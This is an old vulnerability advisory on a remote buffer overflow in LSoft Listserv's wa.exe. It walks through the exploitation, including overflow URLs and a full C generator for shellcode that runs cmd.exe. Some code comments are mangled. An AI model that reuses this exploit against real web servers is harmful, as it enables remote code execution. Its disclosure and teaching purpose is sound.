COMMAND
listserver
SYSTEMS AFFECTED
*nix/Win32 Web Servers running
PROBLEM
Cerberus Security Team found following by David Litchfield. The
Cerberus Security Team has found a remotely exploitable buffer
overrun in Lsoft's Listserv Web Archive component (wa/wa.exe
v1.8d - this is the most recent version. Earlier versions may be
affected.). Listserv is the world's most popular software package
for providing mailing lists. The Web Archives component allows
List owners to make available over the web mails that have been
sent to the mailing list. Both the the Windows and Unix versions
are affected by this overflow. By making a special formed request
to the Web Archive component it is possible to overflow a buffer
allowing arbitrary code to be executed, compromising the web
server.
Following section specifically looks at the overrun on Windows NT
4 SP6a though the principle is same on the *nix versions.
As far as exploiting this overrun is concerned there are two
hurdles to overcome. Firstly, the string is tolower()ed -
meaning that upper case letters are converted to lower case eg
A -> a. This is a problem because some opcodes needed in any
exploit code will squashed. For example the "push ebp"
instruction is 55h - which is also the hex code for the uppercase
letter "U". Due to the tolower()ing this will be converted to
75h - making it no longer the "push ebp" instruction.
The second problem is that when the buffer is overflowed,
overwriting the saved return address, before the ret(urn) is
called a simple read access violation occurs:
"The instruction at address 0x00427FC3 tried to read memory at 0x61616161"
This happens because one of the instructions called before the
ret(urn) is
mov edi,dword ptr[ebp-14h]
This tells the processor to move into the EDI register the address
pointed to by the stack base pointer (EBP) minus 20 bytes. Due to
the overflow, the value found at this address is now 0x61616161
(Remember, even though we've used upper case As to overflow the
buffer they're converted to the lowercase "a" hence instead of
there being 0x41414141 at this address it is 0x61616161). A few
instructions after this has been moved into the EDI there is
cmp byte ptr[edi],0
This will compare the value pointed to by the EDI register with
0. As the address in the EDI is 0x61616161 the processor goes to
that address to get the value stored there to compare it with 0
but when it gets there it finds that the memory here has not been
initialised. Hence the access violation.
http://charon/scripts/wa.exe?A1=foobar&L=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
To workaround this problem we have to insert into overflow string
an address where the memory _is_ intialized - that is where a
value can be found at that address. We know kernel32.dll _will_
be loaded into the address space of the process (it always is in
any process on NT) so for safety's sake we'll insert into the
overflow string an address smack bang in the middle of
kernel32.dll. This way when the
mov edi,dword ptr[ebp-14h]
..
cmp byte ptr[edi],0
instructions are called we won't get the access violation. After
a bit of trial and error we find that we need to set bytes
392,391,390 and 389 in our overflow string to an address where
kernel32.dll is loaded. We'll get away with only having to set
the more significant part of the address - ie bytes 392 and 391
so we set these to %77 and %f3.
When we have done this we try the overflow string again.
http://charon/scripts/wa.exe?A1=foobar&L=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%f3%77AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Bang! We now get the overflow we've been looking for. The
instruction at 0x61616161 referenced memory at 0x61616161. This
means we've gained control of the program's execution and we can
direct it to where we want it to go to find the next instruction
to execute. At this stage there's still a fairly long to go and
there's no guarantee we will be able to exploit this due to the
tolower()ing.
First off we need find out what we have to work with. On
debugging after the overflow we can see that the tail end of our
overflow string can be found at the stack pointer - the ESP. So
all we need to do is find an address in memory we there's a "jmp
esp" or "call esp" instruction. This way if we overwrite the
saved return address with such an address where we can find one
of these instructions the processor will jump down to the ESP and
start executing downwards from there.
As you'll see though the tail of our exploit string is the
tolower()ed version. We'll need to find if there is any occurence
of our overflow string in memory that hasn't gone through the
tolower()ing process. None of the registers point to anything
useful so doing a manual search we eventually find our pristine
string at address 0x00205370.
If we can get back to this address somehow we'll be able to get a
decent working exploit out of this. The easiest way to get there
is to jump to it. What we could do then is write and embed a wee
bit of code in the overflow string that ends up at the ESP which
will jump us to address 0x00205370 where we'll place our main bit
of code making giving our overflow string the following format:
main-code-goeshere-padding-readableaddress-padding-code-that'll-jump-us-to-the-beginning-of-this-string
The only problem is this bit of code that'll jump us to where we
really want to go to cannot have any byte that'll be tolower()ed
and on top of this the address we need to get back to has a NULL
in it.
As far as the NULL is concerned, this is easily resolved - we only
have to subtract a number A by a number B to give us 0x00205370
eg:
0xFFFFFFFF - 0xFFDFAC8F = 0x00205370
We can mov 0xFFFFFFFF into a register and simply sub(tract) from
it 0xFFDFAC8F and be left with the address we need to jump to.
mov edi, 0xFFFFFFFF
sub edi, 0xFFDFAC8F
jmp edi
This is the code we need - but is there any character that will be
tolower()ed?
ba ff ff ff ff
81 ea 87 ac df ff
ff e2
Looking at the byte info of the opcodes we can see that none of
them will be tolower()ed. Cool. So now we've managed to get back
to the beginning our unadulterated overflow string. It is here
we'll place our main bit of exploit code. The sample code here
is "proof of concept" only and will simply create a file called
"cerberus.txt". More useful code is left as excercise of the
imagination of the reader.
/////////////////////////////////////////////////////////////////
//
//
// LSOFT's Listserv web archives wa.exe buffer overflow
//
//
// This is "proof of concept code" and will spawn a shell
// perform a directory listing and redirect the output
// to a file called "cerberus.txt". Will work on Windows NT 4
// SP6a
//
//
// David Litchfield (mnemonix@globalnet.co.uk)
//
// 1st May 2000
//
//
// Cut and paste the output into your web browser.
//
/////////////////////////////////////////////////////////////////
#include <stdio.h>
int main()
{
unsigned char exploit[2000]="";
int count = 0;
while(count <100)
{
exploit[count]=0x90;
count ++;
}
// push ebp
exploit[count]=0x55;
count ++;
// mov ebp,esp
exploit[count]=0x8B;
count ++;
exploit[count]=0xEC;
count ++;
// mov eax, 0x77f1a986
exploit[count]=0xb8;
count ++;
exploit[count]=0x86;
count ++;
exploit[count]=0xa9;
count ++;
exploit[count]=0xf1;
count ++;
exploit[count]=0x77;
count ++;
// mov ebx, 0xffffffff
exploit[count]=0xbb;
count ++;
exploit[count]=0xff;
count ++;
exploit[count]=0xff;
count ++;
exploit[count]=0xff;
count ++;
exploit[count]=0xff;
count ++;
file://sub ebx, 0xffffff8B
exploit[count]=0x83;
count ++;
exploit[count]=0xeb;
count ++;
exploit[count]=0x8B;
count ++;
// push ebx
exploit[count]=0x53;
count ++;
// push "xt.s"
exploit[count]=0x68;
count ++;
exploit[count]=0x73;
count ++;
exploit[count]=0x2e;
count ++;
exploit[count]=0x74;
count ++;
exploit[count]=0x78;
count ++;
file://push "ureb"
exploit[count]=0x68;
count ++;
exploit[count]=0x62;
count ++;
exploit[count]=0x65;
count ++;
exploit[count]=0x72;
count ++;
exploit[count]=0x75;
count ++;
file://push "rec "
exploit[count]=0x68;
count ++;
exploit[count]=0x20;
count ++;
exploit[count]=0x63;
count ++;
exploit[count]=0x65;
count ++;
exploit[count]=0x72;
count ++;
file://push "> ri"
exploit[count]=0x68;
count ++;
exploit[count]=0x69;
count ++;
exploit[count]=0x72;
count ++;
exploit[count]=0x20;
count ++;
exploit[count]=0x3e;
count ++;
file://push "d c/"
exploit[count]=0x68;
count ++;
exploit[count]=0x2f;
count ++;
exploit[count]=0x63;
count ++;
exploit[count]=0x20;
count ++;
exploit[count]=0x64;
count ++;
file://push " exe"
exploit[count]=0x68;
count ++;
exploit[count]=0x65;
count ++;
exploit[count]=0x78;
count ++;
exploit[count]=0x65;
count ++;
exploit[count]=0x20;
count ++;
file://push "cmd."
exploit[count]=0x68;
count ++;
exploit[count]=0x63;
count ++;
exploit[count]=0x6d;
count ++;
exploit[count]=0x64;
count ++;
exploit[count]=0x2e;
count ++;
file://mov ebx, esp
exploit[count]=0x8b;
count ++;
exploit[count]=0xdc;
count ++;
file://xor esi, esi
exploit[count]=0x33;
count ++;
exploit[count]=0xf6;
count ++;
file://push esi
exploit[count]=0x56;
count ++;
file://push ebx
exploit[count]=0x53;
count ++;
file://call eax
exploit[count]=0xff;
count ++;
exploit[count]=0xd0;
count ++;
// set a break point (int 3)
while(count <420)
{
exploit[count]=0xCC;
count ++;
}
// overwrite the return address
exploit[count]=0x36;
count ++;
exploit[count]=0x28;
count ++;
exploit[count]=0xf3;
count ++;
exploit[count]=0x77;
count ++;
// put in 40 nops (0x90)
while (count < 464)
{
exploit[count]=0x90;
count ++;
}
// write our code that'll get us back into our un-tolower()ed string
// move edx, 0xFFFFFFFF
exploit[count]=0xBA;
count ++;
exploit[count]=0xFF;
count ++;
exploit[count]=0xFF;
count ++;
exploit[count]=0xFF;
count ++;
exploit[count]=0xFF;
count ++;
// sub edx, 0xFFDFAC87
exploit[count]=0x81;
count ++;
exploit[count]=0xEA;
count ++;
exploit[count]=0x87;
count ++;
exploit[count]=0xAC;
count ++;
exploit[count]=0xDF;
count ++;
exploit[count]=0xFF;
count ++;
// jmp edx
exploit[count]=0xFF;
count ++;
exploit[count]=0xE2;
count ++;
// set readable part in memory to stop first AV
exploit[390]=0x36;
exploit[390]=0xf3;
exploit[391]=0x77;
count = 0;
while(count < 477)
{
printf("%%%x",exploit[count]);
count ++;
}
return 0;
}
SOLUTION
Lsoft were alerted to this on the the 28th April 2000 and worked
fix for this. Cerberus would like to thank everyone involved for
their prompt response.